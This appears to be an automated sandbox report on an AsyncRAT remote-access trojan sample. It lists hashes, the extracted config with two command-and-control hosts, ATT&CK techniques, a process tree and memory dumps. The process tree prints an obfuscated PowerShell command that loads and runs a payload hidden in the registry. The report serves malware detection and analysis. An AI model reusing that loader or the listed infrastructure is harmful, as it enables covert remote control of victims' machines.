asyncrat | 1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db

Analysis

max time kernel
150s
max time network
17s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
05/08/2024, 16:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

59d3bc9ca446bf4fcce3a93cdbce134a.exe
Size

322KB
MD5

59d3bc9ca446bf4fcce3a93cdbce134a
SHA1

37120e1b71956b5f3852605db0f33f4565a3952d
SHA256

1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db
SHA512

d23ddc6d55d8bf237e68d946f1a330a14907ea2b891ccea0890f63ee0f47f746b6e1d9d2151da1744b36d14b06b428fe308ffd97ae44732f3491682610950b63
SSDEEP

6144:3RptkRZIFoIkY/7J81GyQUMTa5+suXqWxHNDf1CPyysAosQSPJHdlLTpn:jHoIfjJ80Rl86xHTCPvsASQJHd

Score

10^/10

asyncrat discovery evasion execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

blue.o7lab.me:7777

server.underground-cheat.xyz:7777

Mutex

RPYntXGt1eJi

Attributes

delay
3
install
true
install_file
WinUpdate.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2620 created 432	2620	powershell.EXE	5

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x00080000000164b1-9.dat	family_asyncrat

Executes dropped EXE 2 IoCs

pid	Process
2788	Install.exe
2656	$77svchost.exe

Loads dropped DLL 2 IoCs

pid	Process
3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe
3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2620	powershell.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2620 set thread context of 2544	2620	powershell.EXE	35

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	59d3bc9ca446bf4fcce3a93cdbce134a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 602f21db50e7da01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2620	powershell.EXE
2620	powershell.EXE
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe
2544	dllhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2620	powershell.EXE
Token: SeDebugPrivilege	2620	powershell.EXE
Token: SeDebugPrivilege	2544	dllhost.exe
Token: SeAuditPrivilege	852	svchost.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 2788	3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe	30
PID 3020 wrote to memory of 2788	3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe	30
PID 3020 wrote to memory of 2788	3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe	30
PID 3020 wrote to memory of 2788	3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe	30
PID 3020 wrote to memory of 2788	3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe	30
PID 3020 wrote to memory of 2788	3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe	30
PID 3020 wrote to memory of 2788	3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe	30
PID 3020 wrote to memory of 2656	3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe	31
PID 3020 wrote to memory of 2656	3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe	31
PID 3020 wrote to memory of 2656	3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe	31
PID 3020 wrote to memory of 2656	3020	59d3bc9ca446bf4fcce3a93cdbce134a.exe	31
PID 2740 wrote to memory of 2620	2740	taskeng.exe	33
PID 2740 wrote to memory of 2620	2740	taskeng.exe	33
PID 2740 wrote to memory of 2620	2740	taskeng.exe	33
PID 2620 wrote to memory of 2544	2620	powershell.EXE	35
PID 2620 wrote to memory of 2544	2620	powershell.EXE	35
PID 2620 wrote to memory of 2544	2620	powershell.EXE	35
PID 2620 wrote to memory of 2544	2620	powershell.EXE	35
PID 2620 wrote to memory of 2544	2620	powershell.EXE	35
PID 2620 wrote to memory of 2544	2620	powershell.EXE	35
PID 2620 wrote to memory of 2544	2620	powershell.EXE	35
PID 2620 wrote to memory of 2544	2620	powershell.EXE	35
PID 2620 wrote to memory of 2544	2620	powershell.EXE	35
PID 2544 wrote to memory of 432	2544	dllhost.exe	5
PID 2544 wrote to memory of 476	2544	dllhost.exe	6
PID 2544 wrote to memory of 492	2544	dllhost.exe	7
PID 2544 wrote to memory of 500	2544	dllhost.exe	8
PID 2544 wrote to memory of 592	2544	dllhost.exe	9
PID 2544 wrote to memory of 672	2544	dllhost.exe	10
PID 2544 wrote to memory of 764	2544	dllhost.exe	11
PID 2544 wrote to memory of 812	2544	dllhost.exe	12
PID 2544 wrote to memory of 852	2544	dllhost.exe	13
PID 2544 wrote to memory of 972	2544	dllhost.exe	15
PID 2544 wrote to memory of 268	2544	dllhost.exe	16
PID 2544 wrote to memory of 352	2544	dllhost.exe	17
PID 2544 wrote to memory of 1044	2544	dllhost.exe	18
PID 2544 wrote to memory of 1116	2544	dllhost.exe	19
PID 2544 wrote to memory of 1176	2544	dllhost.exe	20
PID 2544 wrote to memory of 1204	2544	dllhost.exe	21
PID 2544 wrote to memory of 1624	2544	dllhost.exe	23
PID 2544 wrote to memory of 276	2544	dllhost.exe	24
PID 2544 wrote to memory of 1096	2544	dllhost.exe	25
PID 2544 wrote to memory of 2748	2544	dllhost.exe	26
PID 2544 wrote to memory of 2864	2544	dllhost.exe	27
PID 2544 wrote to memory of 2656	2544	dllhost.exe	31
PID 2544 wrote to memory of 2740	2544	dllhost.exe	32

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1ea605a9-bc07-4100-b318-3e29fef0e3bf}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2544

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:592
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1624
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1096
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:672
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:764
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:812
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1176
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:852
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {4DD50745-A9AA-438F-B6AB-D936507D8620} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+'F'+''+'T'+''+[Char](87)+''+'A'+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2620
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:972
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:268
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:352
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1044
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1116
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:276
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2748
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2864

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Users\Admin\AppData\Local\Temp\59d3bc9ca446bf4fcce3a93cdbce134a.exe
  "C:\Users\Admin\AppData\Local\Temp\59d3bc9ca446bf4fcce3a93cdbce134a.exe"
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Users\Admin\AppData\Local\Temp\Install.exe
    "C:\Users\Admin\AppData\Local\Temp\Install.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2788
- - C:\Users\Admin\AppData\Local\Temp\$77svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\$77svchost.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Local\Temp\$77svchost.exe

Filesize
45KB

MD5
a44a767dba207c04c74afae17144f787

SHA1
fa14f38216e259be5b181c825719f1c864691a5f

SHA256
26eaa5bce06cadc54cb4990fabb1b9150966ef720b07a836ef2bd456360246b2

SHA512
7dfd6e182ac9f16b29843cb0eabaa7db02fa3ee59c65c7822d9213859c4a7185d0fdcd1d51747a11b4fdd3a7947ea14fdc7fa583c13b4d3edf50b8d6d3178619

Download Submit
\Users\Admin\AppData\Local\Temp\Install.exe

Filesize
163KB

MD5
1a7d1b5d24ba30c4d3d5502295ab5e89

SHA1
2d5e69cf335605ba0a61f0bbecbea6fc06a42563

SHA256
b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

SHA512
859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

Download Submit
memory/432-44-0x0000000036DB0000-0x0000000036DC0000-memory.dmp

Filesize
64KB

Download
memory/432-32-0x0000000000D80000-0x0000000000DA5000-memory.dmp

Filesize
148KB

Download
memory/432-35-0x0000000000DB0000-0x0000000000DDB000-memory.dmp

Filesize
172KB

Download
memory/432-36-0x0000000000DB0000-0x0000000000DDB000-memory.dmp

Filesize
172KB

Download
memory/432-42-0x0000000000DB0000-0x0000000000DDB000-memory.dmp

Filesize
172KB

Download
memory/432-43-0x000007FEBE470000-0x000007FEBE480000-memory.dmp

Filesize
64KB

Download
memory/432-34-0x0000000000D80000-0x0000000000DA5000-memory.dmp

Filesize
148KB

Download
memory/476-58-0x0000000036DB0000-0x0000000036DC0000-memory.dmp

Filesize
64KB

Download
memory/476-56-0x0000000000BB0000-0x0000000000BDB000-memory.dmp

Filesize
172KB

Download
memory/476-50-0x0000000000BB0000-0x0000000000BDB000-memory.dmp

Filesize
172KB

Download
memory/476-57-0x000007FEBE470000-0x000007FEBE480000-memory.dmp

Filesize
64KB

Download
memory/492-64-0x00000000001C0000-0x00000000001EB000-memory.dmp

Filesize
172KB

Download
memory/492-70-0x00000000001C0000-0x00000000001EB000-memory.dmp

Filesize
172KB

Download
memory/492-71-0x000007FEBE470000-0x000007FEBE480000-memory.dmp

Filesize
64KB

Download
memory/492-72-0x0000000036DB0000-0x0000000036DC0000-memory.dmp

Filesize
64KB

Download
memory/500-78-0x00000000005A0000-0x00000000005CB000-memory.dmp

Filesize
172KB

Download
memory/2544-29-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2544-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2544-28-0x0000000076C50000-0x0000000076D6F000-memory.dmp

Filesize
1.1MB

Download
memory/2544-27-0x0000000076D70000-0x0000000076F19000-memory.dmp

Filesize
1.7MB

Download
memory/2544-26-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2544-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2544-22-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2544-24-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2620-19-0x0000000076D70000-0x0000000076F19000-memory.dmp

Filesize
1.7MB

Download
memory/2620-20-0x0000000076C50000-0x0000000076D6F000-memory.dmp

Filesize
1.1MB

Download
memory/2620-18-0x000000001A350000-0x000000001A37A000-memory.dmp

Filesize
168KB

Download
memory/2620-17-0x0000000000A00000-0x0000000000A08000-memory.dmp

Filesize
32KB

Download
memory/2620-16-0x0000000019F00000-0x000000001A1E2000-memory.dmp

Filesize
2.9MB

Download
memory/2656-15-0x0000000001250000-0x0000000001262000-memory.dmp

Filesize
72KB

Download
memory/3020-0-0x0000000000400000-0x0000000000453000-memory.dmp

Filesize
332KB

Download